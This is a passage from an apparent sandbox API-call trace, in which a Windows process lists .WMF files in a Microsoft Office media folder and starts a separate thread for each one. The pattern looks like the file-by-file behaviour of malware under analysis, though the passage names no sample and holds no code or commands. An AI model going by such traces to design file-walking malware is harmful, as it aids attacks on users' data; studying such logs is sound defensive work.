Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0056.074] wcscat (in: _Dest=0x97cc5f8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0056.074] wcscat (in: _Dest=0x97cc5f8, _Source="BD18184_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF" [0056.074] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cc5f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f8 [0056.075] FindNextFileW (in: hFindFile=0x440da0, lpFindFileData=0x4b8330 | out: lpFindFileData=0x4b8330*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8867900, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd8867900, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0xd42, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18185_.WMF", cAlternateFileName="")) returned 1 [0056.075] wcscmp (_String1="BD18185_.WMF", _String2=".") returned 1 [0056.076] wcscmp (_String1="BD18185_.WMF", _String2="..") returned 1 [0056.076] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97cc690 [0056.076] wcscpy (in: _Dest=0x97cc690, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0056.076] wcscat (in: _Dest=0x97cc690, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0056.076] wcscat (in: _Dest=0x97cc690, _Source="BD18185_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF" [0056.076] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cc690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x334 [0056.077] FindNextFileW (in: hFindFile=0x440da0, lpFindFileData=0x4b8330 | out: lpFindFileData=0x4b8330*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50bd100, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe50bd100, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x758, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18187_.WMF", cAlternateFileName="")) returned 1 [0056.077] wcscmp (_String1="BD18187_.WMF", _String2=".") returned 1 [0056.077] wcscmp (_String1="BD18187_.WMF", _String2="..") returned 1 [0056.077] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97cc728 [0056.077] wcscpy (in: _Dest=0x97cc728, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0056.077] wcscat (in: _Dest=0x97cc728, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0056.077] wcscat (in: _Dest=0x97cc728, _Source="BD18187_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF" [0056.077] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cc728, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x33c [0056.078] FindNextFileW (in: hFindFile=0x440da0, lpFindFileData=0x4b8330 | out: lpFindFileData=0x4b8330*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c95f00, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x84c95f00, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x980, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18189_.WMF", cAlternateFileName="")) returned 1 [0056.078] wcscmp (_String1="BD18189_.WMF", _String2=".") returned 1 [0056.078] wcscmp (_String1="BD18189_.WMF", _String2="..") returned 1 [0056.078] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97cc7c0 [0056.078] wcscpy (in: _Dest=0x97cc7c0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0056.078] wcscat (in: _Dest=0x97cc7c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0056.078] wcscat (in: _Dest=0x97cc7c0, _Source="BD18189_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF" [0056.079] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cc7c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x348 [0056.080] FindNextFileW (in: hFindFile=0x440da0, lpFindFileData=0x4b8330 | out: lpFindFileData=0x4b8330*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea699700, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xea699700, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x994, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18190_.WMF", cAlternateFileName="")) returned 1 [0056.080] wcscmp (_String1="BD18190_.WMF", _String2=".") returned 1 [0056.080] wcscmp (_String1="BD18190_.WMF", _String2="..") returned 1 [0056.080] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97cc858 [0056.080] wcscpy (in: _Dest=0x97cc858, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0056.080] wcscat (in: _Dest=0x97cc858, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0056.080] wcscat (in: _Dest=0x97cc858, _Source="BD18190_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF" [0056.080] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cc858, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x354 [0056.081] FindNextFileW (in: hFindFile=0x440da0, lpFindFileData=0x4b8330 | out: lpFindFileData=0x4b8330*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x171d3300, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x171d3300, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0xc9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18191_.WMF", cAlternateFileName="")) returned 1 [0056.081] wcscmp (_String1="BD18191_.WMF", _String2=".") returned 1 [0056.081] wcscmp (_String1="BD18191_.WMF", _String2="..") returned 1 [0056.081] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97cc8f0 [0056.081] wcscpy (in: _Dest=0x97cc8f0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0056.081] wcscat (in: _Dest=0x97cc8f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0056.081] wcscat (in: _Dest=0x97cc8f0, _Source="BD18191_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF" [0056.081] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cc8f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x358 [0056.082] FindNextFileW (in: hFindFile=0x440da0, lpFindFileData=0x4b8330 | out: lpFindFileData=0x4b8330*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6432a00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb6432a00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x2068, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18192_.WMF", cAlternateFileName="")) returned 1 [0056.082] wcscmp (_String1="BD18192_.WMF", _String2=".") returned 1 [0056.083] wcscmp (_String1="BD18192_.WMF", _String2="..") returned 1 [0056.083] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97cc988 [0056.083] wcscpy (in: _Dest=0x97cc988, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0056.083] wcscat (in: _Dest=0x97cc988, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0056.083] wcscat (in: _Dest=0x97cc988, _Source="BD18192_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF" [0056.083] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cc988, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x71c [0056.084] FindNextFileW (in: hFindFile=0x440da0, lpFindFileData=0x4b8330 | out: lpFindFileData=0x4b8330*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd07d0800, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd07d0800, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x128e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18193_.WMF", cAlternateFileName="")) returned 1 [0056.084] wcscmp (_String1="BD18193_.WMF", _String2=".") returned 1 [0056.084] wcscmp (_String1="BD18193_.WMF", _String2="..") returned 1 [0056.084] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97cca20 [0056.084] wcscpy (in: _Dest=0x97cca20, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0056.084] wcscat (in: _Dest=0x97cca20, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0056.084] wcscat (in: _Dest=0x97cca20, _Source="BD18193_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18193_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18193_.WMF" [0056.084] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cca20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x35c [0056.085] FindNextFileW (in: hFindFile=0x440da0, lpFindFileData=0x4b8330 | out: lpFindFileData=0x4b8330*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29e33800, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29e33800, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0xdde, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18194_.WMF", cAlternateFileName="")) returned 1 [0056.085] wcscmp (_String1="BD18194_.WMF", _String2=".") returned 1 [0056.085] wcscmp (_String1="BD18194_.WMF", _String2="..") returned 1 [0056.085] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97ccab8 [0056.085] wcscpy (in: _Dest=0x97ccab8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0056.085] wcscat (in: _Dest=0x97ccab8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0056.085] wcscat (in: _Dest=0x97ccab8, _Source="BD18194_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18194_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18194_.WMF" [0056.086] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97ccab8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x36c [0056.087] FindNextFileW (in: hFindFile=0x440da0, lpFindFileData=0x4b8330 | out: lpFindFileData=0x4b8330*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4404e00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf4404e00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18196_.WMF", cAlternateFileName="")) returned 1 [0056.087] wcscmp (_String1="BD18196_.WMF", _String2=".") returned 1 [0056.087] wcscmp (_String1="BD18196_.WMF", _String2="..") returned 1 [0056.087] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97ccb50 [0056.087] wcscpy (in: _Dest=0x97ccb50, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0056.087] wcscat (in: _Dest=0x97ccb50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0056.087] wcscat (in: _Dest=0x97ccb50, _Source="BD18196_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18196_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18196_.WMF" [0056.087] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97ccb50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x360 [0056.088] FindNextFileW (in: hFindFile=0x440da0, lpFindFileData=0x4b8330 | out: lpFindFileData=0x4b8330*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6adbc800, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6adbc800, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x5b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18197_.WMF", cAlternateFileName="")) returned 1 [0056.088] wcscmp (_String1="BD18197_.WMF", _String2=".") returned 1 [0056.088] wcscmp (_String1="BD18197_.WMF", _String2="..") returned 1 [0056.088] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97ccbe8 [0056.088] wcscpy (in: _Dest=0x97ccbe8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0056.088] wcscat (in: _Dest=0x97ccbe8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0056.088] wcscat (in: _Dest=0x97ccbe8, _Source="BD18197_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18197_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18197_.WMF" [0056.088] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97ccbe8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x364 [0056.089] FindNextFileW (in: hFindFile=0x440da0, lpFindFileData=0x4b8330 | out: lpFindFileData=0x4b8330*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6adbc800, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6adbc800, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x5c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18198_.WMF", cAlternateFileName="")) returned 1 [0056.089] wcscmp (_String1="BD18198_.WMF", _String2=".") returned 1 [0056.089] wcscmp (_String1="BD18198_.WMF", _String2="..") returned 1 [0056.089] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97ccc80 [0056.089] wcscpy (in: _Dest=0x97ccc80, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0056.090] wcscat (in: _Dest=0x97ccc80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0056.090] wcscat (in: _Dest=0x97ccc80, _Source="BD18198_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18198_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18198_.WMF" [0056.090] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97ccc80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x520 [0056.091] FindNextFileW (in: hFindFile=0x440da0, lpFindFileData=0x4b8330 | out: lpFindFileData=0x4b8330*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fdb1800, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2fdb1800, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xc3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18199_.WMF", cAlternateFileName="")) returned 1 [0056.091] wcscmp (_String1="BD18199_.WMF", _String2=".") returned 1 [0056.091] wcscmp (_String1="BD18199_.WMF", _String2="..") returned 1 [0056.091] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97ccd18 [0056.091] wcscpy (in: _Dest=0x97ccd18, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0056.091] wcscat (in: _Dest=0x97ccd18, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0056.091] wcscat (in: _Dest=0x97ccd18, _Source="BD18199_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18199_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18199_.WMF" [0056.091] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97ccd18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x37c [0056.092] FindNextFileW (in: hFindFile=0x440da0, lpFindFileData=0x4b8330 | out: lpFindFileData=0x4b8330*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd302000, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfd302000, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18200_.WMF", cAlternateFileName="")) returned 1 [0056.092] wcscmp (_String1="BD18200_.WMF", _String2=".") returned 1 [0056.092] wcscmp (_String1="BD18200_.WMF", _String2="..") returned 1 [0056.092] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97ccdb0 [0056.092] wcscpy (in: _Dest=0x97ccdb0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0056.092] wcscat (in: _Dest=0x97ccdb0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0056.092] wcscat (in: _Dest=0x97ccdb0, _Source="BD18200_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18200_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18200_.WMF" [0056.093] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97ccdb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x310 [0056.094] FindNextFileW (in: hFindFile=0x440da0, lpFindFileData=0x4b8330 | out: lpFindFileData=0x4b8330*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3c3c400, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd3c3c400, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18201_.WMF", cAlternateFileName="")) returned 1 [0056.094] wcscmp (_String1="BD18201_.WMF", _String2=".") returned 1 [0056.094] wcscmp (_String1="BD18201_.WMF", _String2="..") returned 1 [0056.094] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97cce48 [0056.094] wcscpy (in: _Dest=0x97cce48, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0056.094] wcscat (in: _Dest=0x97cce48, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0056.094] wcscat (in: _Dest=0x97cce48, _Source="BD18201_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18201_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18201_.WMF" [0056.094] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cce48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a8 [0056.095] FindNextFileW (in: hFindFile=0x440da0, lpFindFileData=0x4b8330 | out: lpFindFileData=0x4b8330*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6adbc800, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, 